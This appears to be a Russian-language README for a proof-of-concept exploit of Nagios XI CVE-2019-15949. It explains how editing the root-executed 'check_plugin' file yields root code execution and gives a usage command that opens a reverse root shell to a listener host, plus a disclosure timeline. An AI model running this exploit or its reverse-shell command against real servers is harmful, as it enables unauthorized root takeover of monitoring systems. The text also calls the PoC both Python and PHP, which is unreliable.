
PoC для RCE-уязвимости Nagios CVE-2019-15949 на Python
PoC на Python для CVE-2019-15949
В Nagios XI <= 5.6.5 существует уязвимость, позволяющая атакующему использовать RCE для повышения привилегий до root. Эксплойт требует доступа к серверу под пользователем 'nagios' или доступа к CCM через веб-интерфейс с правами на управление плагинами.
Скрипт getprofile.sh, вызываемый при загрузке системного профиля (profile.php?cmd=download), выполняется от имени root через запись sudo без пароля; скрипт выполняет исполняемый файл 'check_plugin', принадлежащий пользователю nagios. Пользователь, вошедший в Nagios XI с правами на изменение плагинов, или пользователь 'nagios' на сервере, может изменить исполняемый файл 'check_plugin' и вставить вредоносные команды, выполняемые от имени root.
Разработан PHP-PoC, который загружает полезную нагрузку, приводящую к получению root-shell с обратным подключением. Использование:
python3 exploit.py tagetIp [ssl=false/true] username password Lhost lport
Пример:
python3 exploit.py 10.10.11.9 false nagiosadmin admin 10.10.11.14 4444
Сообщено в Nagios: 29 июля 2019 г. Подтверждено Nagios: 29 июля 2019 г. Исправлено в версии: 5.6.6, 20 августа 2019 г. Назначен CVE: 6 сентября 2019 г. (CVE-2019-15949 https://nvd.nist.gov/vuln/detail/CVE-2019-15949)